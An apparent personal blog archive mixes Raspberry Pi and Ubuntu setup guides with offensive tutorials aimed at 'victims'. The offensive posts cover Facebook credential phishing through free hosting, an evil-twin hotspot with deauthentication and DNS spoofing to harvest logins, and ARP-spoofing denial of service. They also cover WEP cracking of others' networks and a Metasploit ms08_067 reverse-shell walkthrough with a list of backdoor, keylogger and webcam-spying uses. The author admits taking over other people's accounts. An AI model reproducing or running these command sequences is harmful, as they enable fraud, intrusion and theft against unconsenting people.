Dec 26, 2014

[Tutorial] Forwarding internet from one interface to another in linux (Raspberry pi used)

At times we face situations where we need to forward internet from one interface to another for various reasons. Specially if you deal with servers and networks you face it all the time. It can also be used to create a secure home network where a system acts as router ffrom LAN to WAN.

In this tutorial we will learn about the same. This should work with all major linux distributions with a few tweaks, but should work without tweaks for Debian based distrols like *buntu & mint etc.

I have written a simple script to do the task automatically, which you can find at the last. If you are not interested with the details/working of the system, then you can download the script and run it, answer few questions it asks if required.

My Setup:
WAN/INTERNET ----> Raspberry PI ---> Home Network
where raspberry pi acts as caching proxy server, dns server, NAS etc.

Since Raspberry Pi has only one Ethernet Port, we need to use a USB-to-Ethernet adapter if we are using wired connection for both LAN & WAN. Else if you are using WIFI for WAN then the inbuild ethernet port can do the LAN job.

We will focus on wired LAN setup here, regardless of whatever the WAN maybe (Ethernet, USB tethering, WIFI etc).

Looking at the setup in details:

WAN/INTERNET ------> USB-to-Ethernet of PI (eth1) ------> Ethernet port of PI (eth0) -----> Home Wireless AP.

The basic required packages are iptables & a dhcp server.
iptables comes installed default with most of the linux distros.
We will be using isc-dhcp-server as dhcp server, it doesn't come installed by default (Normally). So let's install it:

sudo apt-get update && apt-get -y install isc-dhcp-server

Let us configure the dhcp configuration file. The path for the file is /etc/dhcp/dhcpd.conf. There is already a dhcpd.conf file present. Let's create backup of that file and create a new configuration file.

sudo mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak && touch /etc/dhcp/dhcpd.conf

Open the newly created dhcpd.conf file with your favourite text editor with necessary root privilege.

Copy the following lines in the file
 option domain-name "raspberry_pi";
                        option domain-name-servers 8.8.8.8, 8.8.4.4;
                        subnet 192.168.5.0 netmask 255.255.255.0 {
                                        range 192.168.5.2 192.168.5.254;
                                        option routers 192.168.5.1;
                        }

Let's see what it does, line by line.

1.It specifies the domain name of the system. You can use anyname you want.

2. Specifies which DNS to use. 8.8.8.8 & 8.8.4.4 are DNS of google. Better leave it as it is.

3. The subnet of your LAN. Change it according to your need. eg. 172.18.0.0, 192.168.4.1 etc

4. The IP start and end range that is given by the DHCP server. Here the first is 192.168.5.2 and last is 192.168.5.254. You can edit/modify it according to your need, but remember to use the same subnet as from line number 3.

5. Specifies the IP address of the router/system we are configuring. This too you can edit, but remember to put it in the same subnet.

Now, assign your LAN interface to DHCP server. eth0 in my case.
echo "INTERFACES=eth0" > /etc/default/isc-dhcp-server
The DHCP server is now almost configured.

Next, creating iptables rules for the forwarding of packets from one interface to another. eth0 is interface connected to LAN and eth1 is interface connected to internet. Change it according to your need.

 echo "1" > /proc/sys/net/ipv4/ip_forward
 iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
 iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
 iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
 iptables-save > /etc/iptables.ipv4.nat

Finally, let's configure the network interfaces file. Open the file /etc/network/interfaces with your favourite text editor with root privileges, and edit or replace or add the following lines, please use some common knowledge here as the your interface file maybe different with different configurations.
auto lo eth0
                iface lo inet loopback
        iface eth0 inet static
                address 192.168.5.1
                netmask 255.255.255.0

        auto eth1
        iface eth1 inet dhcp

        up iptables-restore < /etc/iptables.ipv4.nat
Compare this with the dhcpd.conf file from earlier and edit accordingly if required. And as stated earlier too, eth0 is my LAN interface and eth1 is my interface connected to internet.

Making sure everything starts up properly on boot, enter the following commands as root user.

update-rc.d isc-dhcp-server enable
sed -i '13iifup $lan_iface' /etc/rc.local
sed -i '14iifup $internet_iface' /etc/rc.local

Now, restart the networking or simply reboot for everything to work. Everything should be working properly now.

In next post, most probably this tutorial will be continued so as to share internet via wifi (ad-hoc).

Any question, feel free to post as comment.

Regards











Dec 21, 2014

Continuing the blog!

Hello guys! After a long gap, ~2 years, I have decided to resume posting again.
I guess most of the old readers have stopped following the blog now... Sorry Guys, Happens. :(

I have been busy with various stuffs like learning and doing networkings, some system administrations and such. I guess the upcoming posts will be more focused on networkings and systems.

I got various SoCs like Raspberry Pi, Android Mini PC (RK3188 Chip) etc and had been busy playing with such. Raspberry Pi acts as a small home server serving ftp/sftp, ssh, squid proxy, dnsmasq, some networking rules with iptables and tc, etc. Etc. My next post will be about routing/forwarding packets from one interface to another in Raspberry Pi (Well, works in almost any linux distros, specially easily in debian based). After that various other playarounds with the pi/linux servers.

Till then!

P.S. It's good to be back. :)

Sep 23, 2012

Reaver: How many of us has successfully used it??

Hello, Back after a long time.

I guess many of us have heard and used reaver by now.

So, how many of us have used it successfully??

And what was the time taken for successful attempt??

The shortest for me was 2 hours and longest has taken about 11-12 hours.

May 26, 2012

About Ads

Dear Readers,

I have implemented 2 ads today, but please do not mind it because I am in serious need of some money as I am about to start a small office with my friends, and I need a new hosting for official site. I know I wont earn much this way, and even if i earn it would look boring to the readers... Also I have added a paypal donate button, if some of you have some change then please donate a little, any amount you want to.  Else, please dont mind in clicking some ads now and then.

P.S: If you do not like the ads then please tell me, I will try to minimize their irritation and ugliness...

Thanks

Apr 27, 2012

[Tutorial] Installing Aircrack in ubuntu 12.04 Precise Pangolin

So.. aircrack is not found in default repository of Ubuntu anymore.
You want it, then you need to compile and install it from the source itself. Download the source from here.

Save it in some less messy folder, say Public.
If you just try to extract and compile it, you will get a good series of errors:




To overcome these errors, follow the steps below:

1) Install build-essential and libssl

apt-get install build-essential libssl-dev

2) Extract the aircrack source if it hasnt already been extracted:

tar -xzf aircrack-ng-1.1.tar.gz

3) cd to it, and edit a file called common.mak



cd aircrack-ng-1.1


open common.mak with a text editor you are comfortable with.
Find this line:
 CFLAGS          ?= -g -W -Wall -Werror -O3
and remove -Werror only,
Save and exit. 


4) Now compile and install

make && make install

You are done.

Well, this was not totally my idea, I also read some tutorials before to make this one. So original credits go to all the writers whose tutorial I have read.

Feel free to comment if needed. :)   

[Release] Ubuntu 12.04, Making it look classic.

Finally, Ubuntu 12.04 LTS codenamed Precise Pangolin has been released.

I downloaded and intalled it. My first impression, I hated it... because it had unity as its default environment.. unity truly sucks.

I tried to install good old gnome.. but it was not possible now. So, I installed gnome-session-fallback to give it classic gnome look. Here are the steps:

1) Install gnome-session-fallback

sudo apt-get install gnome-session-fallback

2) Install myunity

sudo apt-get install myunity

3) Logout and choose gnome classic as your desktop environment. You can choose it  .



Note: The above picture doesnt belong to me. I just searched and found in googleimages.

So, select GNOME Classic or GNOME Classic (No Effects), and login.

4) After that start myunity. I used terminal to start it.


Change H Desktop to 4 and V Desktop to 0 as in the image above, it will make your workspace switcher look like good old one, all in a single row.

After this, I am loving this release even though it is a bit slow. Till now I was stuck with 10.04



Apr 14, 2012

[Tutorial] Installing Nvidia Drivers In BackTrack.

Well, I was asked to make this tutorial by my good reader here "StealthyByR00t". Though I am late [(my apologies for that, as I got back my Nvidia card 2 days ago only)] in making this tutorial, I am not sure if you have already found another way and solved it, but still here it goes.

My card is Nvidia Geforce 8400 GS.
My Operating System: BackTrack 5 R2, 32bit Gnome.

[ For ubuntu you can just enable the driver easily from Hardware Drivers. It maybe possbile for BackTrack too, but I havent tried it as Hardware Drivers is not present by default in Backtrack .]

So, You need to download the driver for linux from here.

On the "Manual Driver Search", select your required specifications and versions. Here is my required info:


Start Search, Agree and Download etc etc.

Now the real stuff begins. The downloaded file is an executable script of format ".run". Try running it via gui... Nothing will happen.

Try from terminal it will say X-server must not be active.

Logout and try from tty1,2,3,4 etc, it will most probably give another error about noveau drivers. It will try to blacklist the drivers and will say to restart the machine. Restart and try again from tty, it will fail.

(Incase you don't know what tty is, it is the black terminal screen you get when you press ctrl+alt+f1 or f2 or f3... f6.)

Now, do this for the real installation part:

You need to blaclist some stuffs first. If you are familiar with nano or vim just add these following lines on the end of blacklist.conf file via terminal, else you can use gedit to do it. This file is located in /etc/modeprobe.d/.

blacklist noveau
blacklist vga16fb
blacklist rivafb
blacklist nvidiafb
blacklist rivatv



Save and exit. Run the following command to update your initramfs:

update-initramfs -u

It will do the necessary job, after it is finished restart once. Login to your root account as usual but do not type "startx".

Ubuntu 12.04 users: Type service lightdm stop in tty1

Now, cd to the Folder where the downloaded file is located, and just run it. In my case it was:

./NVIDIA-Linux-x86-295.40.run 

IN your case it will depend on the file name. Just accept the terms and conditions and accept everything it say, after the installation is completed, reboot once.

If everything went all right, then you should have the required drivers installed. Go to system-->Preferences-->Monitors, in my case it asked me a question:

It appears that your graphics driver does not support the necessary extensions to use this tool.  Do you want to use your graphics driver vendor's tool instead?

If I selected "yes" then it would show me Nvidia's control panel, else default one.





I hope this helps someone.

StealthyByR00t, my apologies again, bro!

NOTE: This Should Work In All Ubuntu Derivatives, also in other linux distributions too (Though I can't guarantee for all other distros.)


Mar 27, 2012

[Tutorial] The Way I USED To Get Hotspot User Credentials Using Wireless Router!!

Well, This is a tutorial/article I wrote about a year ago for hackcommunity.com, and thought of sharing it here too,Please bear with it until my new Tutorials come...

Its really basic way ( Before I learnt proper methods).  My Tutorial on Phishing Page is better than this. Also, problems , i had faced, written here have been already solved.So here it comes:

*********************
Half of the credit goes to enc0de for his tutorial of mass destruction using mdk3... it helped me a lot to save time.. other wise i had to keep on waiting or deauth clients one by one.

This May be simple and most of you may have done it with better ways.
But my hotspot has client isolation and i am unable to sniff anything using ettercap and other tools. If anyone knows how to do it please share.

My method:
**connect to hotspot and save the login page using "save complete" addon of firefox. it works better than the default save option.

**save the page in localhost.

**Set essid of the ap same as that of hotspot. and connect to the machine. I dont prefer airbase-ng because i have seen that i am never able to connect to fake ap by airbase using linux machine. not sure why.

**start redirecting all request to the ap to the localhost of the machine.
I used <dnsspoof -i wlan0> or dns_spoof plugin of ettercap.

**start mdk3 to disconnect all the clients connected to the real hotspot. Many clients will surely connect to my AP.

I have connected a 10 dbi omnidirectional antenna to my AP. I got it for free...lucky me.

start sniffing tools, i prefer ettercap. No need of MITM, just normal sniffing is enough for me.

Now whoever connects to the AP will be redirected to my localhost with hotspot login page no matter what they request, like the real hostpot.
But the thing is, i dont have internet connection so to make it look less suspicious what i have done is, after they hit login button... they will again be redirected to the same login page with blank username and password field. in this way i gathered a lot of username and passwords..

I have only one problem here.. the dns spoofing is not stable... sometimes it works..sometimes it doesnt..... if anyone has solution to this.. please share.

Also please tell me if there are other better ways.. or anything i can do to make it more accurate.

**********************************

END

The  problem of dnsspoofing written here has been already solved. Check my dnsspoofing tutorial.
If you want to try this method and have any queries please feel free to ask.

Also, better ideas are always welcomed, my current strategies are phishing page or using ettercap directly in the hotspot itself.

P.S, combine this method with  php script from my Phishing Page Tutorial in your localhost for easier gain.

**Upcoming Tutorials**

Dear Readers,

I am currently busy with my semester exams... so havent been able to write any tutorials. But I have already planned for two tutorials.

1. Cracking WPA by exploiting WPS vulnerablity.

2. Cracking WPA by some social engineering (if it is the correct term)with               mdk3 + WPS (if WPS is available)

The second one may look and sound silly, but trust me, it works in most of the cases, I have made it work for 3 APs (Not Mine).

So please be patient. Just 3 exams left, about 2 weeks. And please dont wish me luck, as I am a bad student for subjects except my interest. :D

Sincerely Yours,

DeathKnight

Feb 18, 2012

[Tutorial] DoS Attack On A Network.

Denail Of Service (DoS) attack is an effective way to block traffic from your target pc or whole network.
You can use DoS attack to stop your victim from browsing the internet. Or maybe you can DoS his/them to gain all the bandwidth in your network without disconnecting other users.

DoS Attack in a LAN is very simple in Linux (BackTrack).

Just fire up your terminal and type:

arpspoof -i <your_interface_name> <your_gateway;router_ip>

eg: arpspoof -i wlan0 192.168.1.1

This command will DoS the whole network without disconnecting the users, but you will still be able to browse without any side-effects.

If you want to give them access again, just ip forward from your machine:

echo 1 > /proc/sys/net/ipv4/ip_forward

And, if you want to just attack one victim, the commands would be:

arpspoof -i <interface_name> -t <target_pc> <gateway>
arpspoof -i <interface_name> -t <gateway> <target_pc>
 
eg:
arpspoof -i wlan0 -t 192.168.11.8 192.168.11.1
arpspoof -i wlan0 -t 192.168.11.1 192.168.11.8

Enter the command in two separate tabs.
And again,

echo 1 > /proc/sys/net/ipv4/ip_forward

to disable DoS.

So, enjoy people. But dont forget to change your mac address and let them access internet from time to time, else they may maintain the

Feb 14, 2012

[Tutorial] Gaining Credentials Via Phishing/Fake Pages!

Was busy with studies so was unable to post sooner.
As mentioned in my earlier post, I am writing this tutorial about phishing pages.

So what is phishing?
Wikipedia defines phishing as:
"Phishing is a way of attempting to acquire information such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication."

So, in short it is a way of gaining user credentials via fake pages acting to be original ones.



Most of other tutorials you find in internet ask you to make an account in free hosting sites and host your phishing page and phishing script in it, and when you do it, your account gets blocked within a day because you are using it for illegal purpose.

I also tried the same at first, but got tired of getting my accounts blocked withing few hours.

So, here is a smart trick of doing it:
** Make an account in free hosting sites, my personal favorite is phpnet.us,
confirm it by checking your email.

** Now what you have to do is, not to upload the phising page in these servers but use pastehtml.com to host your fake/phising page.

Wondering what to do in the free hosting servers?? You upload your phishing script in this place. I got a script from somewhere I forgot (If anyone reading this is original author then please don't mind in sharing your work, Full credit for this script goes to you.)

Click here to get the script, save it as .php. and upload it in required place in the server.

** Go, to the page you want to make fake of, lets take facebook here.

** Get the source of facebook login page or simply just save the page.
open the page with text editor and find word "action" followed by a link inside inverted comma. Replace the link with link to your script.
for eg:
blahblah.phpnet.us/script.php

** upload the code to pastehtml.com.

** got to dot.tk and get a .tk domain name by pasting the link of your fake page from pastehtml.

** spread the page.

** whenever anyone logins in that page thinking that it is a real one, they get f**cked up. To find the user credentials and passwords login to your account in hosting site, you will find a .htm file with filename you specified in the php script.

Thats all good peoples, if you think this tutorial is not detailed enough, then please comment and give feedbacks, I will make it more easier with some screenshots too.

Jan 18, 2012

:( :( :(

I feel sad when I get illegal access to someone's account and take control over it. Specially when i see pictures of them with their family members in facebook. They look so innocent and have never done any harm to  me, in fact they dont even know me......

Also, I have taken control over only  3 accounts till now even if i have tons of user credentials... that too because I had to.

Next tutorial coming up on getting credentials using phishing page. Want it? Its damn easy, so it wont be a spoonfeeding one.

Dec 21, 2011

[Article] Ubuntu 12.04 "Precise Pangolin" Alpha Out For Testing!!

Was busy with college so found out just today that Ubuntu 12.04 Alpha is out for testing. Also, Ettercap Lazarus was released on the same time so didnt pay attention to anything except Lazarus for couple of week.

This release contains Linux Kernel 3.2 RC3.
Mozilla Firefox 9.0 is the default browser and Mozilla Thunderbird 9.0 is the default email client.
It has gnome 3.2.1 as desktop environment.
Also, Rythmbox is the default music player.

So, why wait, lets download and check the Alpha release and see if we can find any bugs and/or fix the bug and help for the release of 12.04. Please click here to go to the iso download pages.

Try to inform ubuntu of any bugs you find asap!! :D

Dec 19, 2011

[Article] Sketching Tux

Lately I have been attracted in drawing tux.
For people who dont now who or what is tux, please go here.
So, here are a few of Tuxes I drew.


This is the first tux i drew withing 5 minutes as soon as I was attracted. Looks like shit, but still as a memorable first drawing. :)




This is the second tux I drew taking about 15 minutes. This tux is now a sticker in my laptop after being coloured, as shown in the figure below :) :





The below one maybe the final Tux I will draw, its bigger than others, about 3-4 times bigger than the one above. I have planned to stick this big-tux on the back of my laptop. :)






The tux above was bald when he was born, LOL. :D



















Dec 9, 2011

[Mini-Tutorial] Enabliing 4 GB RAM in 32-bit Ubuntu.

I have seen and heard that 32 bit operating systems (linux) take only 3 gB of RAM even if more than 3 gB is installed. Here is my experience and solution to it.

I recently bought a 32-bit laptop with 2 gB of RAM. I had a spare 2 gB RAM with me, so I installed that 2 gB RAM in my laptop hoping that I will get 4 gB of RAM. The BIOS shows 4 gB of RAM installed, but OS shows only 3 gB. I was a bit shocked. Googled for a bit and found a simple solution.

Need to install PAE linux kernel header. My OS was ubuntu 10.04 Lucid Lynx. I fired up my terminal and typed:

aptitude install linux-generic-pae linux-headers-generic-pae

reboot

and bam it showd 4 gB. For more detailed info, go here. here.

Dec 7, 2011

[Tutorial] Installing Ettercap-0.7.4-Lazarus in BackTrack-5 R1


This here is a bit detailed steps that I did to get ettercap 0.7.4 working in my Backtrack 5 R1. Please try it and if you get some errors please kindly post it in the comments. I have tried this only in BackTrack 5 R1 (Both fresh and old install), but I guess it will work in other debian-based distros too. So here are the steps.

1) First get the ettercap from here.

2) Untar it.
     tar -xzf ettercap-0.7.4.tar.gz

3) Get the libnet from here


4) Untar libnet.
     tar -xzf libnet-1.1.2.1.tar.gz

5) Cd to the extracted directory.
    cd libnet
    ./configure
    make
    make install

  libnet will be installed.

6) Now lets install the dependencies for ettercap.
    apt-get install libgtk2.0-dev libpango1.0-dev


7) After that cd to the ettercap directory.
     cd ettercap
     ./configure
     make
     make install

If step #7 completed without any problems/errors then you are good to go.

A restart is recommended from my side, as it worked only after I restarted (maybe only for me).

It has worked perfectly for me till now, though its just about 15 mins and I havent played with all the features/options. Only did arp spoofing and sniffed https passwords.

Enjoy!!!  


Dec 6, 2011

[NEWS] Ettercap 0.7.4 released!!!

Finally after 6 years, a new version of ettercap has been released on December 2, 2011.
The version is ettercap-0.7.4 and has been named Lazarus.


The official changelogs are as below:

  • fixed resource depletion issue
  • buffer access out-of-bounds issues
  • fixed DNS dissector not working on 64bit systems
  • multiple buffer overflows
  • multiple memory leaks
  • multiple files with obsolete code
  • fixed SEND L3 errors experienced by some users
  • fixed a compilation error under Mac OS X Lion
  • updated build system
You can download it from here:  http://sourceforge.net/projects/ettercap/files/ettercap/0.7.4-Lazarus/

Will post more updates when I get time to test it.

Enjoy!!
 

Dec 4, 2011

[Tutorial] Cracking WEP Encrypted Networks.

Not much details included here. If you want to go to depth on it then please visit the official Aircrack-ng page, here.

First find out whether your card is supported or not.
If yes then follow with following steps.
Become root and type these on the first tab/terminal.
***NOTE: The bold words are to be replaced with the necessary info***

airmon-ng start wlan0
-- To put your wireless card into monitor mode for sniffing datas.

airodump-ng mon0
-- To scan for wireless networks available in your area. Find your victim with WEP encryption.

airodump-ng -w filename -c channel_number --bssid victim's_mac mon0
-- To collect the data from your victim network. Replace the bold one's with necessary info shown as result of the second command.

aireplay-ng -1 0 -a victim's_mac -e victim's_essid  mon0 [ In new tab/terminal]
-- To fake associate with the victim AP.

aireplay-ng -3 -b victim's_mac -e victim's_essid mon0
-- To ask the victim AP to generate more packets/replay packets.

Keep looking on the airodump-ng tab/terminal. Once the data/packets reach 5000 you can start cracking. For this open a new tab/terminal and type the following command:

aircrack-ng --bssid victim's_mac  filename

If 5000 was enough then it will vomit the key instantly, otherwise you may need to wait according the key strength.




Dec 1, 2011

[Tutorial] Using Metasploit: The Basic Way

I wont be going in much details here except the basic stuffs needed.
Also, this method is useful only for Windoze XP SP2, unpatched.

First make sure your target is using Windows XP and has port 445 open.

nmap -O <victim's ip>

It will show you the details of the OS your target is using.

If it is Windows XP SP2 and has port 445(smb) open, then proceed with next step.
Type these as root user.

msfconsole

Wait for about a minute or two and a console will be opened. Type these in the console in any order.

use windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
use RHOST <victim's ip>
use LHOST <your ip>
exploit

If the exploit was successfull you will see a "meterpreter" shell.
If it says exploit completed but no session was created then you failed.
If you see word "meterpreter" then you succeeded.

Success means you are inside the victim's computer now, and it is fully in your control.

Now what can you do?? You can do everything in the victim's computer. Some of basic stuffs are:

1) Upload a backdoor for future use.
2) Take pictures from his webcam (if he has any).
3) Record sound form the mic.
4) Upload keyloggers, trojans etc.
5) Steal his datas.
6) Modify his datas.
7) Upload porn in his desktop. :P
8) Crash his computer.
9) And the best one is use VNC viewer to view his desktop right in your own screen and control it too. :D

If tutorials are needed on these...then post  comments. Again, I wont go in much details with screenshots and videos with these tutorials.

Have a Good Day!!

Nov 24, 2011

[Article] Metasploit

What is it? 

The Metasploit Framework is both a penetration testing system and a development platform for creating security tools and exploits. The framework is used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. The framework is written in the Ruby programming language and includes components written in C and assembler.

 What does it do?

The framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload. Hundreds of exploits and dozens of payload options are available.


How do I download it ?

You don't have to its found inside BackTrack 5. But if you are using some other distros you can download it from here.